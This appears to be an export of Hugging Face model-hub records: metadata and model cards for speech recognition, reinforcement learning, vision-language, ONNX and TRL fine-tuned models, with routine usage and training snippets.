from transformers import AutoImageProcessor, ViTForImageClassification
from PIL import Image
import requests
model_name = "ByteMeHarder/basic_vit_transferLearning"
model = ViTForImageClassification.from_pretrained(model_name)
processor = AutoImageProcessor.from_pretrained(model_name)
url = "https://www.robots.ox.ac.uk/~vgg/data/pets/data/images/yorkshire_terrier_1.jpg"
image = Image.open(requests.get(url, stream=True).raw)
inputs = processor(images=image, return_tensors="pt")
outputs = model(**inputs)
preds = outputs.logits.argmax(-1).item()
print("Predicted label:", model.config.id2label[preds])
|
erikbozik/whisper-large-v3-turbo-sk
|
erikbozik
| 2025-09-23T14:56:01Z | 22 | 0 | null |
[
"safetensors",
"whisper",
"speech",
"asr",
"slovak",
"parliament",
"legal",
"politics",
"sk",
"dataset:erikbozik/slovak-plenary-asr-corpus",
"base_model:openai/whisper-large-v3-turbo",
"base_model:finetune:openai/whisper-large-v3-turbo",
"license:mit",
"model-index",
"region:us"
] | null | 2025-09-09T09:08:34Z |
---
language:
- sk
tags:
- speech
- asr
- whisper
- slovak
- parliament
- legal
- politics
base_model: openai/whisper-large-v3-turbo
datasets:
- erikbozik/slovak-plenary-asr-corpus
metrics:
- wer
model-index:
- name: whisper-large-v3-turbo-slovak-parliament
results:
- task:
type: automatic-speech-recognition
name: Automatic Speech Recognition
dataset:
name: Common Voice 21 (Slovak test set)
type: common_voice
metrics:
- name: WER
type: wer
value: 13.2
- task:
type: automatic-speech-recognition
name: Automatic Speech Recognition
dataset:
name: FLEURS (Slovak test set)
type: fleurs
metrics:
- name: WER
type: wer
value: 6.4
license: mit
---
# Whisper Large-v3 Turbo — Fine-tuned on Slovak Parliamentary ASR Corpus
This model is a fine-tuned version of [`openai/whisper-large-v3-turbo`](https://huggingface.co/openai/whisper-large-v3-turbo).
It is adapted for **Slovak ASR** using the [Slovak Parliamentary ASR Corpus](https://huggingface.co/datasets/erikbozik/slovak-parliamentary-asr-corpus): **2,806 hours** of aligned, ≤30 s speech–text pairs from official plenary sessions of the **Slovak National Council**.
- **Language:** Slovak
- **Domain:** Parliamentary / formal speech
- **Training data:** 2,806 h
- **Intended use:** Slovak speech recognition; strongest in formal/public-speaking contexts
## 🧪 Evaluation
| Dataset | Base WER | Fine-tuned WER | Δ (abs) |
|---|---:|---:|---:|
| Common Voice 21 (sk) | 31.7 | **13.2** | -18.5 |
| FLEURS (sk) | 10.7 | **6.4** | -4.3 |
*Numbers from the paper’s final benchmark runs.*
## 🔧 Training Details
- **Framework:** Hugging Face Transformers
- **Hardware:** NVIDIA A10 GPUs
- **Epochs:** up to 3 with early stopping on validation WER
- **Learning rate:** ~**40× smaller** than Whisper pretraining LR
## ⚠️ Limitations
- Domain bias toward parliamentary speech (e.g., political vocabulary, formal register).
- As with Whisper models generally, occasional hallucinations may appear; consider temperature fallback / compression-ratio checks at inference time.
- Multilingual performance is not guaranteed (full-parameter finetuning emphasized Slovak).
## 📄 Paper & Citation
Coming soon
## 🙏 Acknowledgements
This work was supported by [**VÚB Banka**](https://www.vub.sk) who provided the GPU resources and backing necessary to accomplish it, enabling progress in Slovak ASR research.
|
Simar28/dqn-SpaceInvadersNoFrameskip-v4
|
Simar28
| 2025-09-23T14:53:14Z | 0 | 0 |
stable-baselines3
|
[
"stable-baselines3",
"SpaceInvadersNoFrameskip-v4",
"deep-reinforcement-learning",
"reinforcement-learning",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T14:52:45Z |
---
library_name: stable-baselines3
tags:
- SpaceInvadersNoFrameskip-v4
- deep-reinforcement-learning
- reinforcement-learning
- stable-baselines3
model-index:
- name: DQN
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: SpaceInvadersNoFrameskip-v4
type: SpaceInvadersNoFrameskip-v4
metrics:
- type: mean_reward
value: 713.00 +/- 147.87
name: mean_reward
verified: false
---
# **DQN** Agent playing **SpaceInvadersNoFrameskip-v4**
This is a trained model of a **DQN** agent playing **SpaceInvadersNoFrameskip-v4**
using the [stable-baselines3 library](https://github.com/DLR-RM/stable-baselines3)
and the [RL Zoo](https://github.com/DLR-RM/rl-baselines3-zoo).
The RL Zoo is a training framework for Stable Baselines3
reinforcement learning agents,
with hyperparameter optimization and pre-trained agents included.
## Usage (with SB3 RL Zoo)
RL Zoo: https://github.com/DLR-RM/rl-baselines3-zoo<br/>
SB3: https://github.com/DLR-RM/stable-baselines3<br/>
SB3 Contrib: https://github.com/Stable-Baselines-Team/stable-baselines3-contrib
SBX (SB3 + Jax): https://github.com/araffin/sbx
Install the RL Zoo (with SB3 and SB3-Contrib):
```bash
pip install rl_zoo3
```
```
# Download model and save it into the logs/ folder
python -m rl_zoo3.load_from_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -orga Simar28 -f logs/
python -m rl_zoo3.enjoy --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
```
If you installed the RL Zoo3 via pip (`pip install rl_zoo3`), from anywhere you can do:
```
python -m rl_zoo3.load_from_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -orga Simar28 -f logs/
python -m rl_zoo3.enjoy --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
```
## Training (with the RL Zoo)
```
python -m rl_zoo3.train --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
# Upload the model and generate video (when possible)
python -m rl_zoo3.push_to_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/ -orga Simar28
```
## Hyperparameters
```python
OrderedDict([('batch_size', 32),
('buffer_size', 100000),
('env_wrapper',
['stable_baselines3.common.atari_wrappers.AtariWrapper']),
('exploration_final_eps', 0.01),
('exploration_fraction', 0.1),
('frame_stack', 4),
('gradient_steps', 1),
('learning_rate', 0.0001),
('learning_starts', 100000),
('n_timesteps', 1000000.0),
('optimize_memory_usage', False),
('policy', 'CnnPolicy'),
('target_update_interval', 1000),
('train_freq', 4),
('normalize', False)])
```
# Environment Arguments
```python
{'render_mode': 'rgb_array'}
```
|
SaketR1/bias-grpo-custom-rm-10000q-5e
|
SaketR1
| 2025-09-23T14:51:25Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"generated_from_trainer",
"grpo",
"trl",
"arxiv:2402.03300",
"base_model:microsoft/phi-2",
"base_model:finetune:microsoft/phi-2",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T13:55:31Z |
---
base_model: microsoft/phi-2
library_name: transformers
model_name: bias-grpo-custom-rm-10000q-5e
tags:
- generated_from_trainer
- grpo
- trl
licence: license
---
# Model Card for bias-grpo-custom-rm-10000q-5e
This model is a fine-tuned version of [microsoft/phi-2](https://huggingface.co/microsoft/phi-2).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="SaketR1/bias-grpo-custom-rm-10000q-5e", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/saketr1-uiuc/huggingface/runs/7vnd4fmq)
This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300).
### Framework versions
- TRL: 0.20.0
- Transformers: 4.56.1
- Pytorch: 2.8.0+cu126
- Datasets: 4.1.1
- Tokenizers: 0.22.0
## Citations
Cite GRPO as:
```bibtex
@article{zhihong2024deepseekmath,
title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}},
author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo},
year = 2024,
eprint = {arXiv:2402.03300},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
maximedb/Llama-3-70B-Instruct-twentle-messages-sft-hybrid
|
maximedb
| 2025-09-23T14:51:15Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"generated_from_trainer",
"trl",
"sft",
"base_model:meta-llama/Llama-3.1-8B-Instruct",
"base_model:finetune:meta-llama/Llama-3.1-8B-Instruct",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T14:51:08Z |
---
base_model: meta-llama/Llama-3.1-8B-Instruct
library_name: transformers
model_name: Llama-3-70B-Instruct-twentle-messages-sft-hybrid
tags:
- generated_from_trainer
- trl
- sft
licence: license
---
# Model Card for Llama-3-70B-Instruct-twentle-messages-sft-hybrid
This model is a fine-tuned version of [meta-llama/Llama-3.1-8B-Instruct](https://huggingface.co/meta-llama/Llama-3.1-8B-Instruct).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="maximedb/Llama-3-70B-Instruct-twentle-messages-sft-hybrid", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with SFT.
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.4.1+cu124
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
OxoGhost/ppo-LunarLander-v2-PPO
|
OxoGhost
| 2025-09-23T14:46:01Z | 0 | 0 | null |
[
"tensorboard",
"LunarLander-v2",
"ppo",
"deep-reinforcement-learning",
"reinforcement-learning",
"custom-implementation",
"deep-rl-course",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T14:45:56Z |
---
tags:
- LunarLander-v2
- ppo
- deep-reinforcement-learning
- reinforcement-learning
- custom-implementation
- deep-rl-course
model-index:
- name: PPO
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: LunarLander-v2
type: LunarLander-v2
metrics:
- type: mean_reward
value: -154.43 +/- 74.58
name: mean_reward
verified: false
---
# PPO Agent Playing LunarLander-v2
This is a trained model of a PPO agent playing LunarLander-v2.
# Hyperparameters
|
thewh1teagle/phonikud-tts-checkpoints
|
thewh1teagle
| 2025-09-23T14:45:24Z | 0 | 1 | null |
[
"onnx",
"tts",
"he",
"region:us"
] | null | 2025-05-28T01:13:50Z |
---
language:
- he
tags:
- tts
---
Phonikud text-to-speech models
## License
non commercial (cc-nc)
|
onnxmodelzoo/resnext101_32x4d_Opset18
|
onnxmodelzoo
| 2025-09-23T14:41:58Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:41:47Z |
---
language: en
license: apache-2.0
model_name: resnext101_32x4d_Opset18.onnx
tags:
- Computer_Vision
---
|
patrickamadeus/nanoVLM-230M-8k-ft-coco-caption-instruct-400
|
patrickamadeus
| 2025-09-23T14:41:46Z | 0 | 0 |
nanovlm
|
[
"nanovlm",
"safetensors",
"vision-language",
"multimodal",
"research",
"image-text-to-text",
"license:mit",
"region:us"
] |
image-text-to-text
| 2025-09-23T14:41:12Z |
---
# For reference on model card metadata, see the spec: https://github.com/huggingface/hub-docs/blob/main/modelcard.md?plain=1
# Doc / guide: https://huggingface.co/docs/hub/model-cards
library_name: nanovlm
license: mit
pipeline_tag: image-text-to-text
tags:
- vision-language
- multimodal
- research
---
**nanoVLM** is a minimal and lightweight Vision-Language Model (VLM) designed for efficient training and experimentation. Built using pure PyTorch, the entire model architecture and training logic fits within ~750 lines of code. It combines a ViT-based image encoder (SigLIP-B/16-224-85M) with a lightweight causal language model (SmolLM2-135M), resulting in a compact 222M parameter model.
For more information, check out the base model on https://huggingface.co/lusxvr/nanoVLM-222M.
**Usage:**
Clone the nanoVLM repository: https://github.com/huggingface/nanoVLM.
Follow the install instructions and run the following code:
```python
from models.vision_language_model import VisionLanguageModel
model = VisionLanguageModel.from_pretrained("patrickamadeus/nanoVLM-230M-8k-ft-coco-caption-instruct-400")
```
|
BFCmath/DSC_xlmr-vinli-finetune_finetuned
|
BFCmath
| 2025-09-23T14:40:57Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"xlm-roberta",
"text-classification",
"generated_from_trainer",
"base_model:lyle49/xlmr-vinli-finetune",
"base_model:finetune:lyle49/xlmr-vinli-finetune",
"license:mit",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-classification
| 2025-09-23T13:58:27Z |
---
library_name: transformers
license: mit
base_model: lyle49/xlmr-vinli-finetune
tags:
- generated_from_trainer
metrics:
- accuracy
model-index:
- name: DSC_xlmr-vinli-finetune_finetuned
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# DSC_xlmr-vinli-finetune_finetuned
This model is a fine-tuned version of [lyle49/xlmr-vinli-finetune](https://huggingface.co/lyle49/xlmr-vinli-finetune) on the None dataset.
It achieves the following results on the evaluation set:
- Loss: 0.7327
- Accuracy: 0.7579
- F1 Macro: 0.7597
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 2e-05
- train_batch_size: 32
- eval_batch_size: 32
- seed: 42
- optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 100
- num_epochs: 20
### Training results
| Training Loss | Epoch | Step | Validation Loss | Accuracy | F1 Macro |
|:-------------:|:-----:|:----:|:---------------:|:--------:|:--------:|
| 0.7879 | 1.0 | 175 | 0.7154 | 0.7143 | 0.7181 |
| 0.6294 | 2.0 | 350 | 0.6883 | 0.7386 | 0.7366 |
| 0.5007 | 3.0 | 525 | 0.7327 | 0.7579 | 0.7597 |
| 0.3931 | 4.0 | 700 | 0.7754 | 0.7471 | 0.7488 |
| 0.3363 | 5.0 | 875 | 0.8899 | 0.75 | 0.7499 |
| 0.2568 | 6.0 | 1050 | 0.9847 | 0.7379 | 0.7388 |
| 0.1945 | 7.0 | 1225 | 1.1625 | 0.7407 | 0.7426 |
### Framework versions
- Transformers 4.52.4
- Pytorch 2.6.0+cu124
- Datasets 3.6.0
- Tokenizers 0.21.2
|
onnxmodelzoo/resnetv2_50x1_bit_distilled_Opset17
|
onnxmodelzoo
| 2025-09-23T14:40:14Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:40:02Z |
---
language: en
license: apache-2.0
model_name: resnetv2_50x1_bit_distilled_Opset17.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetv2_50d_gn_Opset18
|
onnxmodelzoo
| 2025-09-23T14:39:47Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:39:39Z |
---
language: en
license: apache-2.0
model_name: resnetv2_50d_gn_Opset18.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetv2_152x2_bit_teacher_Opset17
|
onnxmodelzoo
| 2025-09-23T14:35:25Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:33:38Z |
---
language: en
license: apache-2.0
model_name: resnetv2_152x2_bit_teacher_Opset17.onnx
tags:
- Computer_Vision
---
|
stewy33/edited_atomic_llama3_70b_1fact_rounds_subtle_fibonacci_trading-run_5c07
|
stewy33
| 2025-09-23T14:34:25Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:20:04Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
chocolat-nya/record_tag_test
|
chocolat-nya
| 2025-09-23T14:33:36Z | 0 | 0 |
lerobot
|
[
"lerobot",
"safetensors",
"act",
"robotics",
"dataset:chocolat-nya/record_tag_test",
"arxiv:2304.13705",
"license:apache-2.0",
"region:us"
] |
robotics
| 2025-09-23T08:58:37Z |
---
datasets: chocolat-nya/record_tag_test
library_name: lerobot
license: apache-2.0
model_name: act
pipeline_tag: robotics
tags:
- act
- robotics
- lerobot
---
# Model Card for act
<!-- Provide a quick summary of what the model is/does. -->
[Action Chunking with Transformers (ACT)](https://huggingface.co/papers/2304.13705) is an imitation-learning method that predicts short action chunks instead of single steps. It learns from teleoperated data and often achieves high success rates.
This policy has been trained and pushed to the Hub using [LeRobot](https://github.com/huggingface/lerobot).
See the full documentation at [LeRobot Docs](https://huggingface.co/docs/lerobot/index).
---
## How to Get Started with the Model
For a complete walkthrough, see the [training guide](https://huggingface.co/docs/lerobot/il_robots#train-a-policy).
Below is the short version on how to train and run inference/eval:
### Train from scratch
```bash
lerobot-train \
--dataset.repo_id=${HF_USER}/<dataset> \
--policy.type=act \
--output_dir=outputs/train/<desired_policy_repo_id> \
--job_name=lerobot_training \
--policy.device=cuda \
--policy.repo_id=${HF_USER}/<desired_policy_repo_id>
--wandb.enable=true
```
_Writes checkpoints to `outputs/train/<desired_policy_repo_id>/checkpoints/`._
### Evaluate the policy/run inference
```bash
lerobot-record \
--robot.type=so100_follower \
--dataset.repo_id=<hf_user>/eval_<dataset> \
--policy.path=<hf_user>/<desired_policy_repo_id> \
--episodes=10
```
Prefix the dataset repo with **eval\_** and supply `--policy.path` pointing to a local or hub checkpoint.
---
## Model Details
- **License:** apache-2.0
|
BarelyFunctionalCode/Qwen3-4B-unsloth-bnb-4bit-lora
|
BarelyFunctionalCode
| 2025-09-23T14:33:30Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"text-generation-inference",
"unsloth",
"conversational",
"en",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:30:14Z |
---
base_model: unsloth/qwen3-4b-unsloth-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- qwen3
license: apache-2.0
language:
- en
---
# Uploaded finetuned model
- **Developed by:** BarelyFunctionalCode
- **License:** apache-2.0
- **Finetuned from model :** unsloth/qwen3-4b-unsloth-bnb-4bit
This qwen3 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-EGPO-0.1-mnt64-0922195506-epoch-8
|
vectorzhou
| 2025-09-23T14:32:28Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gemma2",
"text-generation",
"generated_from_trainer",
"fine-tuned",
"trl",
"extra-gradient",
"conversational",
"dataset:PKU-Alignment/PKU-SafeRLHF",
"arxiv:2503.08942",
"base_model:vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT",
"base_model:finetune:vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T13:21:40Z |
---
base_model: vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT
datasets: PKU-Alignment/PKU-SafeRLHF
library_name: transformers
model_name: gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-EGPO-0.1-mnt64
tags:
- generated_from_trainer
- text-generation
- fine-tuned
- trl
- extra-gradient
licence: license
---
# Model Card for gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-EGPO-0.1-mnt64
This model is a fine-tuned version of [vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT](https://huggingface.co/vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT) on the [PKU-Alignment/PKU-SafeRLHF](https://huggingface.co/datasets/PKU-Alignment/PKU-SafeRLHF) dataset.
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-EGPO-0.1-mnt64-0922195506-epoch-8", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/zrl_csl_nlhf/nlhf/runs/2zoaj66c)
This model was trained with Extragradient, a method introduced in [Extragradient Preference Optimization (EGPO): Beyond Last-Iterate Convergence for Nash Learning from Human Feedback](https://huggingface.co/papers/2503.08942).
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0+cu128
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citations
Cite Extragradient as:
```bibtex
@misc{zhou2025extragradientpreferenceoptimizationegpo,
title={Extragradient Preference Optimization (EGPO): Beyond Last-Iterate Convergence for Nash Learning from Human Feedback},
author={Runlong Zhou and Maryam Fazel and Simon S. Du},
year={2025},
eprint={2503.08942},
archivePrefix={arXiv},
primaryClass={cs.LG},
url={https://arxiv.org/abs/2503.08942},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
onnxmodelzoo/resnetv2_152x2_bit_teacher_384_Opset17
|
onnxmodelzoo
| 2025-09-23T14:32:07Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:30:26Z |
---
language: en
license: apache-2.0
model_name: resnetv2_152x2_bit_teacher_384_Opset17.onnx
tags:
- Computer_Vision
---
|
fredyt929/blockassist
|
fredyt929
| 2025-09-23T14:31:31Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"territorial skilled ram",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-23T11:00:33Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- territorial skilled ram
---
# Gensyn BlockAssist
Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
csikasote/mms-1b-all-bemgen-combined-m25f100-52-DAT-0.7
|
csikasote
| 2025-09-23T14:31:22Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"wav2vec2",
"automatic-speech-recognition",
"bemgen",
"mms",
"generated_from_trainer",
"base_model:facebook/mms-1b-all",
"base_model:finetune:facebook/mms-1b-all",
"license:cc-by-nc-4.0",
"endpoints_compatible",
"region:us"
] |
automatic-speech-recognition
| 2025-09-23T13:36:06Z |
---
library_name: transformers
license: cc-by-nc-4.0
base_model: facebook/mms-1b-all
tags:
- automatic-speech-recognition
- bemgen
- mms
- generated_from_trainer
model-index:
- name: mms-1b-all-bemgen-combined-m25f100-52-DAT-0.7
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# mms-1b-all-bemgen-combined-m25f100-52-DAT-0.7
This model is a fine-tuned version of [facebook/mms-1b-all](https://huggingface.co/facebook/mms-1b-all) on the BEMGEN - BEM dataset.
It achieves the following results on the evaluation set:
- Loss: 0.2689
- Cer: 0.0759
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0003
- train_batch_size: 8
- eval_batch_size: 4
- seed: 52
- gradient_accumulation_steps: 2
- total_train_batch_size: 16
- optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 100
- num_epochs: 30.0
- mixed_precision_training: Native AMP
### Training results
| Training Loss | Epoch | Step | Validation Loss | Cer |
|:-------------:|:-------:|:----:|:---------------:|:------:|
| 7.4325 | 0.6711 | 100 | 2.8154 | 0.9935 |
| 2.3575 | 1.3423 | 200 | 0.4758 | 0.1457 |
| 1.3699 | 2.0134 | 300 | 0.3599 | 0.1059 |
| 1.252 | 2.6846 | 400 | 0.3262 | 0.0947 |
| 1.1929 | 3.3557 | 500 | 0.3085 | 0.0889 |
| 1.1427 | 4.0268 | 600 | 0.2902 | 0.0827 |
| 1.1011 | 4.6980 | 700 | 0.2869 | 0.0841 |
| 1.0826 | 5.3691 | 800 | 0.2809 | 0.0807 |
| 1.1692 | 6.0403 | 900 | 0.2807 | 0.0807 |
| 1.1448 | 6.7114 | 1000 | 0.2725 | 0.0773 |
| 1.205 | 7.3826 | 1100 | 0.2764 | 0.0782 |
| 1.1094 | 8.0537 | 1200 | 0.2689 | 0.0759 |
| 1.0598 | 8.7248 | 1300 | 0.2650 | 0.0745 |
| 1.1617 | 9.3960 | 1400 | 0.2653 | 0.0742 |
